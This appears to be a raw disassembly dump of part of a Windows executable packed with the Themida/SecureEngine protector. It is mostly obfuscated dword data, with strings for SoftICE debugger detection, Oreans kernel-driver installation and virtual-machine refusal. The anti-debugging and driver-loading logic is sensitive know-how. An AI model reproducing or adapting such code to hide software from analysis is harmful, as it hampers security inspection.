dd 3364CEA3h, 4C03C381h, 1CC1905h, 6B634Bh, 38CA704Ah
dd 47BC28FFh, 67BBC6Ah, 593E596Eh, 1B70498Ah, 71E9h, 0BD836000h
dd 5E22119h, 5840F00h, 0E9000000h, 5Ch, 3E80006Ah, 8850F30h
dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah
dd 24h, 0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
dd 406A0000h, 2E946h, 6A0000h, 1AB9858Dh, 509005E2h, 96509690h
dd 95FF006Ah, 5E22A6Dh, 85C6C361h, 5E20A49h, 0D701684Dh
dd 4812F93h, 0A19FA724h, 0DB5FF74h, 8D05E215h, 0E239ED85h
dd 89D0FF05h, 0E22A6D85h, 0AAE905h, 6F530000h, 61777466h
dd 575C6572h, 694C6E69h, 736E6563h, 68430065h, 496B6365h
dd 7058004Eh, 45746F72h, 746978h, 63656843h, 54554F6Bh
dd 6E695700h, 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh
dd 694C6E69h, 736E6563h, 69724465h, 56726576h, 69737265h
dd 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h, 636E6174h
dd 78450065h, 6B4F7469h, 6F725000h, 4E4963h, 636F7250h
dd 54554Fh, 74697845h, 45004E49h, 4F746978h, 54005455h
dd 4E4970h, 3 dup(0)
dd 77DDAF7Fh, 77DD72F0h, 596E9h, 1D858900h, 8D05E4AEh
dd 0E4AE1985h, 858D5005h, 5E4AD83h, 16850h, 95FF8000h
dd 5E4AE29h, 0B5FF196Ah, 5E4AE1Dh, 6A016Ah, 0ADB2858Dh
dd 0FF5005E4h, 0E4AE19B5h, 0C595FF05h, 0FF05E208h, 0E4AE19B5h
dd 2595FF05h, 0FF05E4AEh, 0E4AE19B5h, 0FD95FF05h, 0C305E20Bh
dd 0AE1D8589h, 858D05E4h, 5E4AE19h, 83858D50h, 5005E4ADh
dd 168h, 2995FF80h, 6A05E4AEh, 1D858D04h, 5005E4AEh, 6A046Ah
dd 0ADDC858Dh, 0FF5005E4h, 0E4AE19B5h, 0C595FF05h, 0FF05E208h
dd 0E4AE19B5h, 2595FF05h, 0FF05E4AEh, 0E4AE19B5h, 0FD95FF05h
dd 0C305E20Bh, 0AE1D8589h, 858D05E4h, 5E4AE19h, 83858D50h
dd 5005E4ADh, 168h, 2995FF80h, 6A05E4AEh, 1D858D04h, 5005E4AEh
dd 6A046Ah, 0ADC4858Dh, 0FF5005E4h, 0E4AE19B5h, 0C595FF05h
dd 0FF05E208h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh, 0E4AE19B5h
dd 0FD95FF05h, 0C305E20Bh, 0AE1D8589h, 858D05E4h, 5E4AE19h
dd 83858D50h, 5005E4ADh, 168h, 2995FF80h, 6A05E4AEh, 1D858D04h
dd 5005E4AEh, 6A046Ah, 0ADEF858Dh, 0FF5005E4h, 0E4AE19B5h
dd 0C595FF05h, 0FF05E208h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh
dd 0E4AE19B5h, 0FD95FF05h, 0C305E20Bh, 0AE1D8589h, 858D05E4h
dd 5E4AE19h, 83858D50h, 5005E4ADh, 168h, 2995FF80h, 6A05E4AEh
dd 1D858D04h, 5005E4AEh, 6A046Ah, 0AD9F858Dh, 0FF5005E4h
dd 0E4AE19B5h, 0C595FF05h, 0FF05E208h, 0E4AE19B5h, 2595FF05h
dd 0FF05E4AEh, 0E4AE19B5h, 0FD95FF05h, 0C305E20Bh, 192DBD83h
dd 0F0005E2h, 0B84h, 2D9D8B00h, 8305E219h, 3894CC3h, 2DBD83C3h
dd 5E219h, 0B840Fh, 9D8B0000h, 5E2192Dh, 8950C383h, 0BD83C303h
dd 5E2192Dh, 0B840F00h, 8B000000h, 0E2192D9Dh, 54C38305h
dd 83C30389h, 0E2192DBDh, 840F0005h, 0Bh, 192D9D8Bh, 0C38305E2h
dd 0C3038958h, 192DBD83h, 0F0005E2h, 0B84h, 2D9D8B00h
dd 8305E219h, 3895CC3h, 8960C3C3h, 0E4AE1D85h, 19858D05h
dd 5005E4AEh, 0AD83858Dh, 685005E4h, 80000001h, 0AE2995FFh
dd 46A05E4h, 0AE1D858Dh, 6A5005E4h, 8D006A04h, 0E4AE1485h
dd 0B5FF5005h, 5E4AE19h, 8C595FFh, 0BD8305E2h, 5E21EA9h
dd 0C840F00h, 0FF000000h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh
dd 0E4AE19B5h, 0FD95FF05h, 6105E20Bh, 858960C3h, 5E4AE1Dh
dd 0AE19858Dh, 8D5005E4h, 0E4AD8385h, 1685005h, 0FF800000h
dd 0E4AE2995h, 8D046A05h, 0E4AE1D85h, 46A5005h, 858D006Ah
dd 5E4ADF6h, 19B5FF50h, 0FF05E4AEh, 0E208C595h, 0A9BD8305h
dd 5E21Eh, 0C840Fh, 0B5FF0000h, 5E4AE19h, 0AE2595FFh, 0B5FF05E4h
dd 5E4AE19h, 0BFD95FFh, 0C36105E2h, 1D858960h, 8D05E4AEh
dd 0E4AE1985h, 858D5005h, 5E4AD83h, 16850h, 95FF8000h
dd 5E4AE29h, 858D046Ah, 5E4AE1Dh, 6A046A50h, 0FD858D00h
dd 5005E4ADh, 0AE19B5FFh, 95FF05E4h, 5E208C5h, 1EA9BD83h
dd 0F0005E2h, 0C84h, 19B5FF00h, 0FF05E4AEh, 0E4AE2595h
dd 19B5FF05h, 0FF05E4AEh, 0E20BFD95h, 60C36105h, 0AE1D8589h
dd 858D05E4h, 5E4AE19h, 83858D50h, 5005E4ADh, 168h, 2995FF80h
dd 6A05E4AEh, 1D858D04h, 5005E4AEh, 6A046Ah, 0AE05858Dh
dd 0FF5005E4h, 0E4AE19B5h, 0C595FF05h, 8305E208h, 0E21EA9BDh
dd 840F0005h, 0Ch, 0AE19B5FFh, 95FF05E4h, 5E4AE25h, 0AE19B5FFh
dd 95FF05E4h, 5E20BFDh, 8960C361h, 0E4AE1D85h, 19858D05h
dd 5005E4AEh, 0AD83858Dh, 685005E4h, 80000001h, 0AE2995FFh
dd 46A05E4h, 0AE1D858Dh, 6A5005E4h, 8D006A04h, 0E4AE0C85h
dd 0B5FF5005h, 5E4AE19h, 8C595FFh, 0BD8305E2h, 5E21EA9h
dd 0C840F00h, 0FF000000h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh
dd 0E4AE19B5h, 0FD95FF05h, 6105E20Bh, 85C760C3h, 5E4AE1Dh
dd 1, 0AE19858Dh, 8D5005E4h, 0E4AD8385h, 2685005h, 0FF800000h
dd 0E4AE2995h, 0FC00B05h, 0F84h, 1D85C700h, 5E4AEh, 0E9000000h
dd 4Dh, 858D046Ah, 5E4AE1Dh, 6A046A50h, 97858D00h, 5005E4ADh
dd 0AE19B5FFh, 95FF05E4h, 5E208C5h, 840FC00Bh, 0Fh, 0AE1D85C7h
dd 5E4h, 0AE90000h, 0C7000000h, 0E4AE1D85h, 105h, 19B5FF00h
dd 0FF05E4AEh, 0E20BFD95h, 858B6105h, 5E4AE1Dh, 858960C3h
dd 5E4AE1Dh, 0AE19858Dh, 8D5005E4h, 0E4AD8385h, 1685005h
dd 0FF800000h, 0E4AE2995h, 8D046A05h, 0E4AE1D85h, 46A5005h
dd 858D006Ah, 5E4AD97h, 19B5FF50h, 0FF05E4AEh, 0E208C595h
dd 0A9BD8305h, 5E21Eh, 0C840Fh, 0B5FF0000h, 5E4AE19h, 0AE2595FFh
dd 0B5FF05E4h, 5E4AE19h, 0BFD95FFh, 0C36105E2h, 1D858960h
dd 8D05E4AEh, 0E4AE1985h, 858D5005h, 5E4AD83h, 16850h
dd 95FF8000h, 5E4AE29h, 858D046Ah, 5E4AE1Dh, 6A046A50h
dd 0A9858D00h, 5005E4ADh, 0AE19B5FFh, 95FF05E4h, 5E208C5h
dd 1EA9BD83h, 0F0005E2h, 0C84h, 19B5FF00h, 0FF05E4AEh
dd 0E4AE2595h, 19B5FF05h, 0FF05E4AEh, 0E20BFD95h, 0C6C36105h
dd 0E20A4985h, 7685205h, 0FFADE47Bh, 0E21189B5h, 1595FF05h
dd 8905E22Ch, 0E4AE2985h, 4985C605h, 5205E20Ah, 2E00E568h
dd 89B5FF90h, 0FF05E211h, 0E22C1595h, 25858905h, 0C605E4AEh
dd 0E20A4985h, 35685205h, 0FFB9BF12h, 0E21189B5h, 1595FF05h
dd 8905E22Ch, 0E208C585h, 4985C605h, 5205E20Ah, 78103468h
dd 89B5FF98h, 0FF05E211h, 0E22C1595h, 0FD858905h, 0C605E20Bh
dd 0E20A4985h, 0D4685205h, 0FFC005DBh, 0E21189B5h, 1595FF05h
dd 8905E22Ch, 0E2046985h, 13E805h, 9FCD0000h, 0D8158E6Ah
dd 3C666312h, 27110199h, 0FBEA64Ch, 5FEF8A7Ah, 2FBFBA66h
dd 7012C781h, 0C8810000h, 2977C46Bh, 0B70FF62Bh, 3E34FFD0h
dd 0E3BB6660h, 0A9C1BF29h, 5B617D3Dh, 1D88C381h, 816614A1h
dd 81C246F2h, 7E0BDAC3h, 0AE970h, 96140000h, 0A628FD5Ch
dd 0C1BD6682h, 31B6EB81h, 76B86CF7h, 89421C03h, 5951371Ch
dd 0C8E0Fh, 8B0F0000h, 6, 8F0Fh, 0EE810000h, 175E7FB4h
dd 81D08B66h, 5E7FB0C6h, 5E917h, 81D70000h, 810ACEF1h
dd 0FF90A0FEh, 8A850FFFh, 0E9FFFFFFh, 10h, 44FBEB02h, 156C18E9h
dd 315B180Eh, 0F4A49B4Eh, 5C5C1EEBh, 49535C2Eh, 5C004543h
dd 535C2E5Ch, 49565749h
db 44h, 0
a_Ntice db '\\.\NTICE',0 ; DATA XREF: Themida_:004EE608o
; Themida_:004EEE10o ...
dd 8166C08Bh, 0B136AD9h, 0E20A91B5h, 0A9BD8305h, 5E21Eh
dd 0BD830975h, 5E21805h, 50197400h, 0B8C08B53h, 40Fh, 315D8589h
dd 9D8D05E2h, 5E4B2FAh, 585BD3FFh, 1805BD83h, 740005E2h
dd 0B8535017h, 40Fh, 315D8589h, 9D8D05E2h, 5E4AFE9h, 585BD3FFh
dd 0FFABF0Fh, 0C08BFABFh, 7E9h, 0E98EB600h, 120BB4F2h
dd 0A4985C6h, 894305E2h, 0E20ABDBDh, 0D0D56805h, 4819BC2h
dd 0CB9E2724h, 11B50920h, 8905E21Ch, 0E232D185h, 2DB5FF05h
dd 8B05E226h, 0E21E35B5h, 0ED858D05h, 6A05E239h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 0BE4C350h, 7E036562h, 0B58B216Bh, 5E21F05h, 6AD0FFh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 62E3A0C3h, 0A6DE7A4Dh, 50424068h, 310F5250h, 585AF88Bh
dd 66240489h, 0E60CE781h, 6AC88Ah, 0B1B52360h, 0F05E231h
dd 686h, 35BD8900h, 6105E20Ch, 243C0868h, 0DE860E0h, 46000000h
dd 6C39F45Fh, 0DD7B0844h, 405F3270h, 605AFA8Ah, 8D0FC78Bh
dd 0
dd 4816161h, 0DBC47824h, 52006A1Fh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 0D8B4C977h, 31259523h
dd 36A05E2h, 9589D18Bh, 5E20179h, 46B1006Ah, 8D89036Ah
dd 5E21A8Dh, 2C6DBD29h, 4E805E2h, 0
dd 0BFC00000h, 6A1A268Ah, 0FE950h, 0BCA60000h, 1F546308h
dd 5601845Ah, 7F269DD8h, 24448B19h, 0DE804h, 70EA0000h
dd 0A6CB3AF9h, 7D91F5B3h, 0E9178DF9h, 0Bh, 0F9CA4FE6h
dd 0F132DA3Ch, 598485D9h, 0CE8008Bh, 0F7000000h, 731A4D82h
dd 45B1E130h, 60814F83h, 70B96160h, 614767CBh, 2444895Ah
dd 58C88A04h, 25D1B58Bh, 9D8D05E2h, 5E4B51Bh, 0F0E98166h
dd 0E950932Ah, 0Ch, 0ED2EBF16h, 5EB3012Bh, 0C3A7876Fh
dd 29D0FF93h, 0E2160585h, 4DB58B05h, 4005E231h, 243850Fh
dd 81660000h, 58F8DAE7h, 2FB58D89h, 0E99005E2h, 10h, 5246F5B6h
dd 2C1D19h, 669D98FEh, 0FD793CC6h, 0B58B9050h, 5E20B39h
dd 8D8B006Ah, 5E232F1h, 0CF0D2E68h, 2434811Dh, 1DCF0DAEh
dd 8354E981h, 36A1841h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 4BC35747h, 0F78B4DD5h, 0B533006Ah, 5E21989h
dd 0B509036Ah, 5E217CDh, 4E8h, 0
dd 0BF6660C0h, 52507F6Bh, 310F5250h, 310F585Ah, 585A6160h
dd 8B665061h, 24448BF2h, 8BD68B04h, 0FE8B6000h, 24448961h
dd 0AE904h, 68710000h, 58CD9165h, 36B3F9EBh, 10810F58h
dd 0E9000000h, 0Bh, 13AE6C9Bh, 1E889823h, 0F1066BFh, 9D8DF7BFh
dd 5E4B524h, 50FFB70Fh, 87B2BDBEh, 241C8950h, 7D858960h
dd 8B05E214h, 0D0FF61D1h, 40F9D680h, 14B850Fh, 0BE660000h
dd 0F8583449h, 16FD9529h, 0E99005E2h, 8, 2C7E8AC3h, 3A07DADBh
dd 8A0F9050h, 4, 72C1BE66h, 0BE8006Ah, 36000000h, 0A815DE1Bh
dd 0F3F08240h, 8B66D274h, 4E85ECAh, 80000000h, 0BF000000h
dd 5CB6D14Dh, 0F6B96650h, 24448BEBh, 6B8CBE04h, 8B04A7h
dd 8830Fh, 8C0F0000h, 2, 4489F78Bh, 0C88B0424h, 258D8B58h
dd 6A05E226h, 89006A03h, 0E20889BDh, 6A036A05h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 38DFC351h, 66E2FD9Eh, 8BF6031Dh, 0E213A18Dh, 0F168F805h
dd 0B69388C2h, 243481A2h, 5388C2F1h, 9D8DCA8Bh, 5E4B52Fh
dd 0E8AFB966h, 0CE850h, 42090000h, 11CB6B38h, 41678D49h
dd 0CE9ADF8h, 0FB000000h, 3F3F8BB0h, 9A63143h, 5FBE2763h
dd 60241C89h, 0BE9h, 21D6AB00h, 0AFDA7364h, 8D4F3FDBh
dd 30618D89h, 0FF6105E2h, 850F40D0h, 3Dh, 858BF960h, 5E22FADh
dd 8E95861h, 0BE000000h, 293429E2h, 0E91CB1A6h, 148h, 95895760h
dd 5E20141h, 0AE95Eh, 61BC0000h, 8A1EADBBh, 8AD3014Bh
dd 0BD8B5361h, 5E23265h, 8AD88B5Ah, 0B3604BD4h, 0D185297Ch
dd 6105E204h, 8D89F558h, 5E22D89h, 0A4985C6h, 6A4305E2h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 52ECC357h, 0C1DB589h, 4E805E2h, 0A7000000h
dd 0BEC0764Ah, 1F38AAEFh, 66525050h, 0F7FBBBAh, 61606031h
dd 5A61D18Ah, 24448B58h, 0A4BA6604h, 66008BC4h, 896151BAh
dd 66042444h, 58B83FB9h, 5E8h, 0AFCBA900h, 95890702h, 5E20B81h
dd 0FDB50B5Fh, 0FF05E22Fh, 0E2262DB5h, 0D2B70F05h, 39ED858Dh
dd 6E805E2h, 0F000000h, 22CB86D7h, 1DB5893Eh, 5905E201h
dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 0FFA547C3h, 0AB59D89h, 50F805E2h, 1C89D78Bh
dd 0C88B6624h, 8166D0FFh, 8DC419E2h, 0E272199Dh, 81BD8B05h
dd 0B805E22Ah, 1, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 0A5C35040h, 153D0438h, 0EA26CE95h, 6A45BE66h, 958BE3FFh
dd 5E20ADDh, 0B70FC18Bh, 8BC08BF3h, 0E20C918Dh, 6D8D8B05h
dd 8305E20Ch, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h
dd 8B535019h, 40FB8C0h, 85890000h, 5E21DD5h, 0B3619D8Dh
dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h, 40FB853h
dd 85890000h, 5E21DD5h, 0B0029D8Dh, 0D3FF05E4h, 0B509585Bh
dd 5E20C75h, 8BFB8B66h, 0CE8C0h, 23CF0000h, 79776B34h
dd 0A6275BB6h, 9D29E7D7h, 5E231B1h, 81CB8A5Eh, 61F2C6h
dd 9E900h, 14430000h, 29F122C4h, 68186079h, 0
dd 0CE39B966h, 8529605Fh, 5E21CE9h, 26A4CA81h, 0FF612DE4h
dd 52533734h, 1A01B531h, 5A5905E2h, 0DE958h, 2ABC0000h
dd 0BFEF6F76h, 5A3E041h, 817A3705h, 0C5A64CF0h, 0C081F518h
dd 37E2A73Ah, 814ED680h, 768720C0h, 0CABF0F3Ch, 2B3E0489h
dd 0E21D6D8Dh, 831AB605h, 858903EFh, 5E20E31h, 0AE84Fh
dd 8F20000h, 0E57777C9h, 38DBDA37h, 9E9h, 8832DB00h, 4A5F5C58h
dd 815A5B5Bh, 0FF9EFCFFh, 1C850FFFh, 0F000000h, 31E9D6BFh
dd 9000000h, 59C6FDDAh, 82FE842h, 0C3C8A27Ch, 7EC2D139h
dd 81E55114h, 9D7D8FF2h, 0FF61E940h, 0C9F8FFFFh, 9A7F9187h
dd 0FEAA87FCh, 0F7C78002h, 33C57F02h, 20EE9h, 61433300h
dd 746F6E6Eh, 69727720h, 6F206574h, 6E616572h, 78762E73h
dd 4D0D0A64h, 20656B61h, 65727573h, 61687420h, 68742074h
dd 66207369h, 20656C69h, 6E207369h, 6220746Fh, 676E6965h
dd 65737520h, 79622064h, 6F6E6120h, 72656874h, 6F727020h
dd 6D617267h, 2Eh, 67h dup(0)
dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
dd 0E9000000h, 0EFh, 0A4985C6h, 684705E2h, 0E3E45B86h
dd 262DB5FFh, 858D05E2h, 5E239EDh, 468D0FFh, 8D000001h
dd 0E21FFD9Dh, 0D0FF5305h, 32B58D50h, 8B05E4BEh, 0AEC032FEh
dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 4985C6A4h
dd 4305E20Ah, 8E6EFC68h, 2DB5FFBCh, 8D05E226h, 0E239ED85h
dd 8DD0FF05h, 0E21FFDB5h, 68006A05h, 80h, 6A026Ah, 68006Ah
dd 56C00000h, 0D88BD0FFh, 0A4985C6h, 685705E2h, 0A69BEE56h
dd 262DB5FFh, 858D05E2h, 5E239EDh, 0BD8DD0FFh, 5E21C8Dh
dd 0BF588D8Dh, 6A05E4h, 37D06857h, 53510000h, 0C085D0FFh
dd 1B850Fh, 0B58D0000h, 5E4BC3Ah, 0ACE6858Dh, 0D0FF05E4h
dd 72198D8Dh, 0B805E2h, 0FF000000h, 4985C6E1h, 4305E20Ah
dd 764AA768h, 2DB5FFC0h, 8D05E226h, 0E239ED85h, 53D0FF05h
dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h, 0E908890Eh, 2
dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
dd 0B80000FFh, 0
dd 40000000h, 8 dup(0)
dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
dd 240A0D0Dh, 0
dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
dd 887376h, 0
dd 4C000000h, 45h, 2000000h, 400h, 0
dd 14000380h, 5 dup(0)
dd 0C0000002h, 90000001h, 0
dd 7E000000h, 0
dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
dd 2C000000h, 38000001h, 1, 0
dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1
dd 0
dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h
dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h
dd 1000000h, 3000103h, 2 dup(0)
dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h
dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
dd 27h, 360h dup(0)
dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0)
dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
dd 527376h, 9C3h dup(0)
dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
dd 9 dup(0)
dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
dd 58D1475h, 0
dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
dd 4244445Fh, 0E9000000h, 99h, 6775622Fh, 63656863h, 2F00326Bh
dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio db '/checkprotection',0
align 4
dd 0ADBD8300h, 5E4F7h, 0A840Fh, 85C70000h, 5E21805h, 1
dd 0A4985C6h, 684705E2h, 23913ECEh, 0BF240481h, 0FF6CDC2Dh
dd 0E2262DB5h, 0ED858D05h, 0FF05E239h, 8BD0FFD0h, 223F80F8h
dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h
dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
dd 3F80FFFFh, 5850F00h, 0E9000000h, 2DDh, 1E9h, 3F804700h
dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C0E9h, 0AE800h
dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0F72DB58Dh, 25E805E4h
dd 3000002h, 0E4F7C2BDh, 0C2BD8305h, 5E4F7h, 0B840Fh, 85C70000h
dd 5E21EA9h, 1, 38B58DC3h, 0E805E4F7h, 1FCh, 0F7C2BD03h
dd 0BD8305E4h, 5E4F7C2h, 0B840F00h, 0C7000000h, 0E2180585h
dd 105h, 0B58DC300h, 5E4F7B1h, 1D3E8h, 0C2BD0300h, 8305E4F7h
dd 0E4F7C2BDh, 840F0005h, 0Bh, 211985C7h, 105E2h, 8DC30000h
dd 0E4F742B5h, 1AAE805h, 0BD030000h, 5E4F7C2h, 0F7C2BD83h
dd 0F0005E4h, 0B84h, 585C700h, 105E218h, 0C3000000h, 0F74CB58Dh
dd 81E805E4h, 3000001h, 0E4F7C2BDh, 0C2BD8305h, 5E4F7h
dd 15840Fh, 85C70000h, 5E21805h, 1, 1EA985C7h, 105E2h
dd 8DC30000h, 0E4F75AB5h, 14EE805h, 0BD030000h, 5E4F7C2h
dd 0F7C2BD83h, 0F0005E4h, 0A84h, 8585C700h, 105E206h, 8D000000h
dd 0E4F764B5h, 126E805h, 0BD030000h, 5E4F7C2h, 0F7C2BD83h
dd 0F0005E4h, 0A84h, 8585C700h, 105E206h, 8D000000h, 0E4F76FB5h
dd 0FEE805h, 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h
dd 0A84h, 4185C700h, 105E224h, 8D000000h, 0E4F775B5h, 0D6E805h
dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h, 0A84h
dd 7585C700h, 105E210h, 8D000000h, 0E4F77BB5h, 0AEE805h
dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h, 0A84h
dd 3D85C700h, 105E21Dh, 8D000000h, 0E4F789B5h, 86E805h
dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h, 0A84h
dd 0B985C700h, 105E216h, 8D000000h, 0E4F796B5h, 5EE805h
dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h, 0A84h
dd 1D85C700h, 105E225h, 8D000000h, 0E4F7A1B5h, 36E805h
dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h, 0A84h
dd 5D85C700h, 105E201h, 0E9000000h, 1, 203F8047h, 9840Fh
dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh
dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h
dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h
dd 0A85h, 1B900h, 5E90000h, 0B9000000h, 0
dd 840FC90Bh, 0Dh, 0B589F32Bh, 5E4F7C2h, 0AE9h, 0C285C700h
dd 5E4F7h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h
dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
dd 65536C6Fh, 63697672h, 65h, 7 dup(0)
dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have'
db 0Ah
db 0Dh,'administrator',27h,'s permits the first time that you are going to '
db 'run this program.',0
align 4
dd 59h dup(0)
a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
db 0Dh,'is not open by another program.',0
align 4
dd 67h dup(0)
a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro'
db 'grams using',0Ah
db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
db 0Dh,'Restart now?',0
align 4
dd 0D9h dup(0)
a_Oreans_vxd db '\\.\Oreans.vxd',0
align 4
dd 2 dup(0)
dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0 db 'SeShutdownPrivilege',0
align 8
aCreateeventApi db 'CreateEvent API Error while extraction the driver',0
aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA db 'CreateService API Error while extraction the driver',0
aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi db 'OpenService API Error while extraction the driver',0
aStartserviceAp db 'StartService API Error while extraction the driver',0
aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
db 0Dh,'contact info@oreans.com for this error',0
dd 0
dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
dd 70h dup(0)
dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0)
dd 8BC48B00h, 0E20CD18Dh, 0B1858905h, 6A05E204h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0BEAAC352h, 0C08BF82Bh, 0AE9h, 0CEBD1500h, 9E9E7BEh
dd 8390DE5Ch, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h
dd 8B535019h, 43DB8C0h, 85890000h, 5E2315Dh, 0B2FA9D8Dh
dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h, 43DB853h
dd 85890000h, 5E2315Dh, 0AFE99D8Dh, 0D3FF05E4h, 9D31585Bh
dd 5E20951h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 1BC35646h, 253F512Eh, 0B818589h, 0C08B05E2h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7EC35242h, 8BA6C580h
dd 0D68B53C0h, 0A9BD835Fh, 5E21Eh, 0BD830975h, 5E21805h
dd 50137400h, 0B8C08B53h, 0
dd 0B19C9D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50117400h
